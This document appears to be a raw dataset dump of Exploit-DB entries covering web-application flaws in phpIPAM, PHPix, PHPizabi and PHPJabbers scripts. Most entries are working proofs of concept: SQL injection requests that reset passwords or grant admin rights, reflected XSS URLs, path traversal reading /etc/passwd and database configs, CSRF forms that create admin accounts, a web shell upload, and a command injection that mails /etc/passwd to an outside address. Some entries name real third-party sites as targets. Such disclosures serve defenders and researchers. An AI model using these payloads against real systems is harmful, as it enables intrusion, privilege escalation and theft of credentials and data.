deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52444
Description: phpIPAM 1.5.1 - SQL Injection
Type: webapps
Platform: php
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: phpIPAM 1.5.1 - SQL Injection
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage:  https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1 
# Tested on: Windows
# CVE : CVE-2023-1211


Proof Of Concept
POST /app/admin/custom-fields/edit-result.php HTTP/1.1
Host: phpipam
Cookie: PHPSESSID=<valid_session_id>; csrf_cookie=<valid_csrf_token>
Content-Type: application/x-www-form-urlencoded

csrf_cookie=<valid_csrf_token>&action=add&name=custom_sqli_test&fieldType=enum&fieldSize=0)%3B+SELECT+SLEEP(10)%3B+--+&table=devices&Comment=sql_poc&NULL=YES

**Prerequisites:**
1. Valid authenticated session (PHPSESSID cookie)
2. Valid CSRF token (obtain from `/admin/custom-fields/` page first)
3. Target table must exist (default 'devices' table used)
4. Field type must be enum/set to reach vulnerable code path

**Manual Test Steps:**
1. Login to phpIPAM
2. Visit `/admin/custom-fields/` to get CSRF token
3. Send POST request with above payload

**Note:** Replace `<valid_session_id>` and `<valid_csrf_token>` with actual values from authenticated session. The `fieldSize` parameter injects SQL through enum/set type definition context.



Steps to Reproduce
Login as an admin user.
Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie and csrf token.
Observe the result
Exploit-DB #52176
Description: phpIPAM 1.6 - Reflected Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-11
Author: CodeSecLab

Exploit:
# Exploit Title: phpIPAM 1.6 - Reflected Cross Site Scripting (XSS)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.5.1
# Tested on: Ubuntu Windows
# CVE : CVE-2023-24657
PoC:
1)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
2)http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22


    "Sink": "print @$_REQUEST['closeClass']",
    "Vulnerable Variable": "closeClass",
    "Source": "$_REQUEST['closeClass']",
    "Sanitization Mechanisms Before Patch": "None",
    "Sink Context Constraints": "Reflected within HTML attributes without escaping",
    "Attack Payload": "\" onclick=\"alert(1)\"",
    "Execution Path Constraints": "Directly accessed from the 'closeClass' parameter without modification",
    "Request URL": "http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22",
    "Request Method": "GET",
    "Final PoC": "http://phpipam/app/tools/subnet-masks/popup.php?closeClass=%22%20onclick=%22alert(1)%22"



[Replace Your Domain Name]
Exploit-DB #52441
Description: phpIPAM 1.6 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: phpIPAM 1.6 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1 
# Tested on: Windows
# CVE : CVE-2024-41358


Proof Of Concept
GET http://phpipam/app/admin/import-export/import-devices-preview.php?&filetype=anyValidFiletype&expfields=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&importFields__%22%3E%3Cscript%3Ealert%281%29%3C/script%3E=anyValue
Exploit-DB #52442
Description: phpIPAM 1.6 - Reflected-Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-12-02
Author: CodeSecLab

Exploit:
# Exploit Title: phpIPAM 1.6 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1 
# Tested on: Windows
# CVE : CVE-2024-41357


Proof Of Concept
# PoC to trigger XSS vulnerability in phpipam 1.6
# Ensure you are logged in as an admin user to satisfy the admin check condition.
# Send the following POST request to trigger the XSS vulnerability:

POST /app/admin/powerDNS/record-edit.php HTTP/1.1
Host: phpipam
Content-Type: application/x-www-form-urlencoded
Content-Length: <calculated_length>

action=add&domain_id=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

# This will execute the alert(1) script when the response is rendered in the browser.
Exploit-DB #20278
Description: phpix 1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2000-10-07
Author: Synnergy.net

Exploit:
source: https://www.securityfocus.com/bid/1773/info

PHPix is a web-based photo-album system written in PHP. It is vulnerable to an attack that allows a malicious remote user to view arbitrary files on the target webserver with the privileges of the webserver. The problem is that "../" character sequences can be supplied by the user in an http variable that is used to reference a file on the webservers filesystem. As a result, the attacker can construct a path relative to the current working directory of the webserver using ".."'s and then the target filename/path to read any readable (to the uid of the httpd process) file on the filesystem. The information gained may make it easier to compromise the system in other ways.

Example:

http://target.com/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0

The above line if given will output all the directories that are nested within /etc
directory. Other more sinister content can be revealed from there.
Exploit-DB #23558
Description: PHPix 2.0.3 - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-01-20
Author: Max Stepanov

Exploit:
source: https://www.securityfocus.com/bid/9458/info

It has been reported that PHPix is vulnerable to a remote command execution vulnerability due to poor handling of externally supplied data such as shell metacharacters. This issue may allow unauthorized access to the affected system with the privileges of the web server hosting the vulnerable program.

http://www.example.com/phpix/index.phtml?mode=view&album=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0

http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=A-10.jpg&dispsize=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&start=0

http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&dispsize=640&start=0
Exploit-DB #48138
Description: PhpIX 2012 Professional - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-26
Author: indoushka

Exploit:
# Title: PhpIX 2012 Professional - 'id' SQL Injection
# Date: 2020-02-26
# Author: indoushka
# Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)
# Vendor    : http://www.allhandsmarketing.com/

# poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] /product_detail.php?id=448578 <====| inject here

[+] http://www.pcollectionnecktie.com/sandbox/ <====| Login


Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
                                                                                                                                      |
=======================================================================================================================================
Exploit-DB #32872
Description: PHPizabi 0.8 - 'notepad_body' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-24
Author: Nine:Situations:Group::bookoo

Exploit:
source: https://www.securityfocus.com/bid/34223/info

PHPizabi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHPizabi 0.848b C1 HFP1 is vulnerable; other versions may also be affected.

http://www.example.com/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%20%2527bookoo%2527/*
Exploit-DB #5136
Description: PHPizabi 0.848b C1 HFP1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-02-17
Author: ZoRLu

Exploit:
############################################
Powered by PHPizabi v0.848b C1 HFP1 remote file upload

author: ZoRLu

home: www.yildirimordulari.org

contact: trt-turk@hotmail.com

dork: "Powered by PHPizabi v0.848b C1 HFP1"

############################################

exploit:

http://localhost/izabi/system/cache/pictures/id_shell.php

-first register web site

-Create an event on the click and create an event ( direct create event url: http://localhost/izabi/?L=events.create )

-event title and description write. show to select All the users. gÃ¶zat button click and shell.php upload

-after go to event page. upload photo right click. open the menu click to properties. copy the url

example:

http://localhost/izabi/system/image.php?file=xxx_shell.php&width=500

and 

exploit:

http://localhost/izabi/system/cache/pictures/xxx_shell.php

example web site:

http://bitchinindie.com/system/image.php?file=597_shell.php&width=500

exploit shell.php

http://bitchinindie.com/system/cache/pictures/597_shell.php


##################################################

thanx: str0ke, FaLCaTa, ReD_KaN, edish, harded, aRKi, z3h!r, the_KaM!L, vur6un, siircicocuk, Dr. SaLTuK, kasÃ½rga(lavrens), avkidis, head_hunter 

and all users yildirimordulari.org

siircicocuk nerelerdesin be kanka msn e takÃ½l Ã¶zlettin kendini :)))

## yildirimordulari.org aÃ§Ã½lÃ½r mÃ½ aÃ§Ã½lmaz mÃ½ orasÃ½ bilinmez ama bilinen birÃ¾ey var o bir efsane ##

#################################################

# milw0rm.com [2008-02-17]
Exploit-DB #8279
Description: PHPizabi 0.848b C1 HFP1 - Privilege Escalation
Type: webapps
Platform: php
Date: 2009-03-24
Author: Nine:Situations:Group

Exploit:
--------------------------------------------------------------------------------
PHPizabi v0.848b C1 HFP1 proc.inc.php remote privilege escalation (php.ini
independent)
by Nine:Situations:Group::bookoo
--------------------------------------------------------------------------------
our site: http://retrogod.altervista.org/
software site: http://www.phpizabi.net/
--------------------------------------------------------------------------------

vulnerability:
sql injection in /theme/default/proc.inc.php

<?php

	function bufferProcParse($buffer) {
		global $CONF;
		
		$tpl = new template;
		$tpl -> LoadThis($buffer);
		// HANDLE POSTED NOTEPAD DATA ///////////////////////////////////////////////////////
		if (isset($_GET["notepad_body"])) {
			myQ("UPDATE `[x]users` SET `notepad_body` = '".urldecode($_GET["notepad_body"])."' WHERE `id`='".me("id")."'");
			me("flush");
		}
...

note urldecode() ...

exploitation, manual:

injection urls:

change username and password of an existing user:
[sql]', username = 'bookoo', password = md5('pass') WHERE username = 'user'/*
which becomes:
http://host/path_to_phpizabi/?notepad_body=%2527,%20username%20=%20%2527bookoo%2527,%20password%20=%20md5(%2527pass%2527)%20WHERE%20username%20=%20%2527user%

2527/*

grant yourself admin rights:
[sql]', is_moderator = 1, is_administrator = 1, is_superadministrator = 1 WHERE username = 'bookoo'/*
which becomes:

http://host/path_to_phpizabi/?notepad_body=%2527,%20is_moderator%20=%201,%20is_administrator%20=%201,%20is_superadministrator%20=%201%20WHERE%20username%20=%

20%2527bookoo%2527/*

navigate:

http://host/path_to_phpizabi/?L=admin.index

boom !

now go to:

http://host/path_to_phpizabi/?L=admin.cms.edit&id={cms.file}

use this opening and closing tag style, example:

<script language="php">
system("ls -la");
</script>

(it is always availiable, see:http://www.php.net/manual/en/language.basic-syntax.phpmode.php)
because of that preg_replace() in /modules/admin/cms/edit.php :

...
	if (isset($_POST["Submit"])) {
		if ($handle = fopen("modules/cms/{$_GET["id"]}.php", "w")) {
			
			$body =
				"<?php if (!defined(\"CORE_STRAP\")) die(); ?>\n"
				.preg_replace('#(<\\?.*\\?>)|(<%.*%>)|<\\?php|<\\?|\\?>|<%|%>#si', NULL, stripslashes($_POST["body"][0]))
				."\n<!-- Edited by ".me("username")." on ".date($CONF["LOCALE_HEADER_DATE_TIME"])." -->";
			;
			
			fwrite($handle, $body);
			fclose($handle);
...

which is bypassed.

save changes and navigate:

http://host/path_to_phpizabi/?L=cms._cms_file_

to see the output...

now visit log page:

http://192.168.0.1/phpizabi/?L=admin.logs.logs

...
--------------------------------------------------------------------------------

# milw0rm.com [2009-03-24]
Exploit-DB #5506
Description: PHPizabi 0.848b C1 HFP3 - Database Information Disclosure
Type: webapps
Platform: php
Date: 2008-04-26
Author: YOUCODE

Exploit:
--------------------------------------------------------
PHPizabi v0.848b C1 HFP3 database information exposure
--------------------------------------------------------


* I would like to state that I am in no way responsible for how this information is used. 
It is just that, information and is provided for informational purposes only.*



An exploit exists in PHPizabi that allows a user using a specially crafted post to disclose
user credentials as well as any other information within the database.  Using the following
format in a post to a users profile will disclose the corresponding field from that users
entry in the database.

FORMAT:

{user.DATABASEFIELD}

The breakdown:

template.class.php  function AssignUser  lines 104-108

                if (is_array($user)) {
                    foreach ($user as $code => $value) {
Vulnerable code    ---------->            $this->Buffer = str_replace("{user.".$code."}", $value, $this->Buffer);
                    }
                }

What happens here is that as an array of database fields is processed, if {user.DATABASEFIELD} is
found in the buffer it is overwritten with the corresponding value from the database.  The
buffer being processed is going to be output as the page.  See where this is going? :)

So the basic process is as this.  Register on PHPizabi site, post a "comment" on the users
profile whos credentials you want to obtain ie the admin.  Being like so

{user.password}

When viewing the profile, click the comments tab and then click "View all comments". This will
disclose the md5 hashed password from the database.

Note this could work on older versions of the software too.  Also any valid database field can
be substituted for password in the above statement.



--------------------------------------------------------
by: YOUCODE  ---  icode00@gmail.com
--------------------------------------------------------

# milw0rm.com [2008-04-26]
Exploit-DB #32251
Description: PHPizabi 0.848b C1 HP3 - 'id' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-08-15
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/30707/info

PHPizabi is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

PHPizabi 0.848b C1 HFP3 is vulnerable; other versions may also be affected. 

http://www.example.com/phpizabi/index.php?L=admin.templates.edittemplate&id=../../../boot.ini
Exploit-DB #30911
Description: PHPJabbers Appointment Scheduler 2.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-01-14
Author: HackXBack

Exploit:
Appointment Scheduler V2.0 - Multiple Vulnerabilities
=========================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/appointment-scheduler/
####################################################################

===[ Exploit ]===

[1] Cross Site Scripting
=========================

# CSRF with XSS Exploit:


<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=pjAdminServices&action=pjActionCreate">
<input type="hidden" name="service_create" value="1"/>
<input type="hidden" name="i18n[1][name]"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="i18n[1][description]" value="Iphobos Blog"/>
<input type="hidden" name="price" value="100"/>
<input type="hidden" name="length" value="1"/>
<input type="hidden" name="before" value="1"/>
<input type="hidden" name="after" value="1"/>
<input type="hidden" name="total" value="3"/>
<input type="hidden" name="is_active" value="1"/>
</form>
</body>
</html>


[2] Cross Site Request Forgery
===============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=pjAdminUsers&action=pjActionCreate">
<input type="hidden" name="user_create" value="1"/>
<input type="hidden" name="role_id" value="1"/>
<input type="hidden" name="email" value="Email@hotmail.com"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="name" value="Iphobos"/>
<input type="hidden" name="status" value="T"/>
</form>
</body>
</html

[3] Local File disclure
========================

http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../app/config/db.inc.php
http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../../../../etc/passwd


####################################################################
Exploit-DB #49281
Description: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)
Type: webapps
Platform: php
Date: 2020-12-17
Author: Andrea Intilangelo

Exploit:
# Exploit Title: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)
# Date: 2020-12-14
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.phpjabbers.com
# Software Link: https://www.phpjabbers.com/appointment-scheduler
# Version: 2.3
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 83.0, Microsoft Edge 87.0.664.60)
# CVE: CVE-2020-35416

Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of Stivasoft/PHPJabbers Appointment Scheduler v2.3 (and many others, in example from "ilmiogestionale.eu", since some companies/web agencies did a script rebrand/rework) allows remote attacker to inject arbitrary script or HTML.

Request parameters affected: "date", "action", arbitrarily supplied URL parameters, possible others.

PoC Request:
GET /index.php?controller=pjFrontPublic&action=pjActionServices&cid=1&layout=1&date=%3cscript%3ealert(1)%3c%2fscript%3e&theme=theme9 HTTP/1.1
Host: [removed]
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://[removed]
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.505[PII_REDACTED]596638; _gid=GA1.2[PII_REDACTED][PII_REDACTED]; AppointmentScheduler=5630ae3ab2ed56dbe79c033b84565422

PoC Response:
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 14 Dec 2020 10:48:41 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With
Content-Length: 13988

<div class="container-fluid">
   <div class="row">
       <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12">
           <div class="panel panel-default pjAsContainer pjAsAside">
               <div class="panel-heading p
...[SNIP]...
<div class="pj-calendar-ym">Dicembre, <script>alert(1)</script></div>
...[SNIP]...
Exploit-DB #51687
Description: PHPJabbers Business Directory Script v3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2023-08-21
Author: Kerimcan Ozturk

Exploit:
# Exploit Title: PHPJabbers Business Directory Script v3.2 - Multiple Vulnerabilities
# Date: 09/08/2023
# Exploit Author: Kerimcan Ozturk
# Vendor Homepage: https://www.phpjabbers.com/
# Software Link: https://www.phpjabbers.com/business-directory-script/
# Version: 3.2
# Tested on: Windows 10 Pro
## Description

Technical Detail / POC
==========================
Login Account
Go to Property Page (
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate)
Edit Any Property (
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57
)

[1] Cross-Site Scripting (XSS)

Request:
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57&locale=1&tab_id=
"<script><image/src/onerror=prompt(8)>

[2] Cross-Site Request Forgery

Request:
https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=57&locale=1&tab_id=
"<script><font%20color="green">Kerimcan%20Ozturk</font>

Best Regards